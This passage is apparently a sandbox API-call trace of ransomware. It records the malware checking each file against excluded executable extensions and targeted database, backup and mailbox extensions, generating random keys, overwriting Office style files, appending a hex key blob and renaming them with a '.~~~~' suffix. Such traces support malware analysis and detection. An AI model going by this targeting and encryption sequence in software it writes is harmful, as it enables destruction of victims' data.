	[0138.344] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.344] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.344] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.344] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.345] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.345] CloseHandle (hObject=0x108) returned 1
	[0138.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0138.345] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css.~~~~")) returned 1
	[0138.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0138.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.348] GetLastError () returned 0x0
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".scr") returned 0x0
	[0138.348] lstrlenW (lpString=".cmd") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".cmd") returned 0x0
	[0138.348] lstrlenW (lpString=".dll") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dll") returned 0x0
	[0138.348] lstrlenW (lpString=".bat") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".bat") returned 0x0
	[0138.348] lstrlenW (lpString=".cpl") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".cpl") returned 0x0
	[0138.348] lstrlenW (lpString=".sys") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".sys") returned 0x0
	[0138.348] lstrlenW (lpString=".msc") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".msc") returned 0x0
	[0138.348] lstrlenW (lpString=".com") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".com") returned 0x0
	[0138.348] lstrlenW (lpString=".lnk") returned 4
	[0138.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".lnk") returned 0x0
	[0138.349] lstrlenW (lpString=".msp") returned 4
	[0138.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".msp") returned 0x0
	[0138.349] lstrlenW (lpString=".pif") returned 4
	[0138.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".pif") returned 0x0
	[0138.349] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.351] lstrlenW (lpString=".sqb") returned 4
	[0138.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".sqb") returned 0x0
	[0138.351] lstrlenW (lpString=".ost") returned 4
	[0138.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".ost") returned 0x0
	[0138.351] lstrlenW (lpString=".txt") returned 4
	[0138.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".txt") returned 0x0
	[0138.351] lstrlenW (lpString=".mdt") returned 4
	[0138.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".mdt") returned 0x0
	[0138.351] lstrlenW (lpString=".BDB") returned 4
	[0138.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".BDB") returned 0x0
	[0138.351] lstrlenW (lpString=".eql") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".eql") returned 0x0
	[0138.352] lstrlenW (lpString=".DBF") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DBF") returned 0x0
	[0138.352] lstrlenW (lpString=".EQL") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".EQL") returned 0x0
	[0138.352] lstrlenW (lpString=".FDB") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".FDB") returned 0x0
	[0138.352] lstrlenW (lpString=".EDB") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".EDB") returned 0x0
	[0138.352] lstrlenW (lpString=".DACPAC") returned 7
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.352] lstrlenW (lpString=".VHD") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".VHD") returned 0x0
	[0138.352] lstrlenW (lpString=".DBV") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DBV") returned 0x0
	[0138.352] lstrlenW (lpString=".dacpac") returned 7
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dacpac") returned 0x0
	[0138.352] lstrlenW (lpString=".sdf") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".sdf") returned 0x0
	[0138.352] lstrlenW (lpString=".accdb") returned 6
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".accdb") returned 0x0
	[0138.352] lstrlenW (lpString=".DBX") returned 4
	[0138.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DBX") returned 0x0
	[0138.353] lstrlenW (lpString=".MDT") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".MDT") returned 0x0
	[0138.353] lstrlenW (lpString=".SQB") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".SQB") returned 0x0
	[0138.353] lstrlenW (lpString=".vhd") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".vhd") returned 0x0
	[0138.353] lstrlenW (lpString=".bac") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".bac") returned 0x0
	[0138.353] lstrlenW (lpString=".mdf") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".mdf") returned 0x0
	[0138.353] lstrlenW (lpString=".BAK") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".BAK") returned 0x0
	[0138.353] lstrlenW (lpString=".BAC") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".BAC") returned 0x0
	[0138.353] lstrlenW (lpString=".dbs") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dbs") returned 0x0
	[0138.353] lstrlenW (lpString=".vhdx") returned 5
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".vhdx") returned 0x0
	[0138.353] lstrlenW (lpString=".NDF") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".NDF") returned 0x0
	[0138.353] lstrlenW (lpString=".dat") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dat") returned 0x0
	[0138.353] lstrlenW (lpString=".DBS") returned 4
	[0138.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DBS") returned 0x0
	[0138.353] lstrlenW (lpString=".CKP") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".CKP") returned 0x0
	[0138.354] lstrlenW (lpString=".edb") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".edb") returned 0x0
	[0138.354] lstrlenW (lpString=".PST") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".PST") returned 0x0
	[0138.354] lstrlenW (lpString=".dbf") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dbf") returned 0x0
	[0138.354] lstrlenW (lpString=".SQL") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".SQL") returned 0x0
	[0138.354] lstrlenW (lpString=".pst") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".pst") returned 0x0
	[0138.354] lstrlenW (lpString=".dbv") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dbv") returned 0x0
	[0138.354] lstrlenW (lpString=".SDF") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".SDF") returned 0x0
	[0138.354] lstrlenW (lpString=".dtxs") returned 5
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dtxs") returned 0x0
	[0138.354] lstrlenW (lpString=".db3") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".db3") returned 0x0
	[0138.354] lstrlenW (lpString=".OST") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".OST") returned 0x0
	[0138.354] lstrlenW (lpString=".dbx") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dbx") returned 0x0
	[0138.354] lstrlenW (lpString=".DB3") returned 4
	[0138.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DB3") returned 0x0
	[0138.355] lstrlenW (lpString=".DAT") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DAT") returned 0x0
	[0138.355] lstrlenW (lpString=".VHDX") returned 5
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".VHDX") returned 0x0
	[0138.355] lstrlenW (lpString=".ndf") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".ndf") returned 0x0
	[0138.355] lstrlenW (lpString=".DB") returned 3
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DB") returned 0x0
	[0138.355] lstrlenW (lpString=".sql") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".sql") returned 0x0
	[0138.355] lstrlenW (lpString=".MYD") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".MYD") returned 0x0
	[0138.355] lstrlenW (lpString=".DBT") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DBT") returned 0x0
	[0138.355] lstrlenW (lpString=".ACCDB") returned 6
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.355] lstrlenW (lpString=".fdb") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".fdb") returned 0x0
	[0138.355] lstrlenW (lpString=".bak") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".bak") returned 0x0
	[0138.355] lstrlenW (lpString=".myd") returned 4
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".myd") returned 0x0
	[0138.355] lstrlenW (lpString=".DTXS") returned 5
	[0138.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".DTXS") returned 0x0
	[0138.355] lstrlenW (lpString=".ckp") returned 4
	[0138.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".ckp") returned 0x0
	[0138.356] lstrlenW (lpString=".dbt") returned 4
	[0138.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".dbt") returned 0x0
	[0138.356] lstrlenW (lpString=".db") returned 3
	[0138.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".db") returned 0x0
	[0138.356] lstrlenW (lpString=".TXT") returned 4
	[0138.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".TXT") returned 0x0
	[0138.356] lstrlenW (lpString=".MDF") returned 4
	[0138.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".MDF") returned 0x0
	[0138.356] lstrlenW (lpString=".bdb") returned 4
	[0138.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".bdb") returned 0x0
	[0138.356] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.356] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.357] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.357] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.358] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25834792193) returned 1
	[0138.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbbe42090, dwHighDateTime=0x1d60e1e)) 
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825b70
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825b70 | out: hHeap=0x300000) returned 1
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf490
	[0138.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf490 | out: hHeap=0x300000) returned 1
	[0138.359] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.359] GetLastError () returned 0x0
	[0138.359] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.359] GetLastError () returned 0x0
	[0138.456] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.458] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.458] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.459] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.459] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.459] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.459] CloseHandle (hObject=0x108) returned 1
	[0138.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0138.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME18.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme18.css.~~~~")) returned 1
	[0138.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0138.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.691] GetLastError () returned 0x0
	[0138.691] RtlWakeConditionVariable () returned 0x0
	[0138.692] GetCurrentThreadId () returned 0xaf0
	[0138.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".scr") returned 0x0
	[0138.692] lstrlenW (lpString=".cmd") returned 4
	[0138.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".cmd") returned 0x0
	[0138.692] lstrlenW (lpString=".dll") returned 4
	[0138.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dll") returned 0x0
	[0138.692] lstrlenW (lpString=".bat") returned 4
	[0138.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".bat") returned 0x0
	[0138.692] lstrlenW (lpString=".cpl") returned 4
	[0138.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".cpl") returned 0x0
	[0138.692] lstrlenW (lpString=".sys") returned 4
	[0138.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".sys") returned 0x0
	[0138.692] lstrlenW (lpString=".msc") returned 4
	[0138.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".msc") returned 0x0
	[0138.693] lstrlenW (lpString=".com") returned 4
	[0138.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".com") returned 0x0
	[0138.693] lstrlenW (lpString=".lnk") returned 4
	[0138.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".lnk") returned 0x0
	[0138.693] lstrlenW (lpString=".msp") returned 4
	[0138.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".msp") returned 0x0
	[0138.693] lstrlenW (lpString=".pif") returned 4
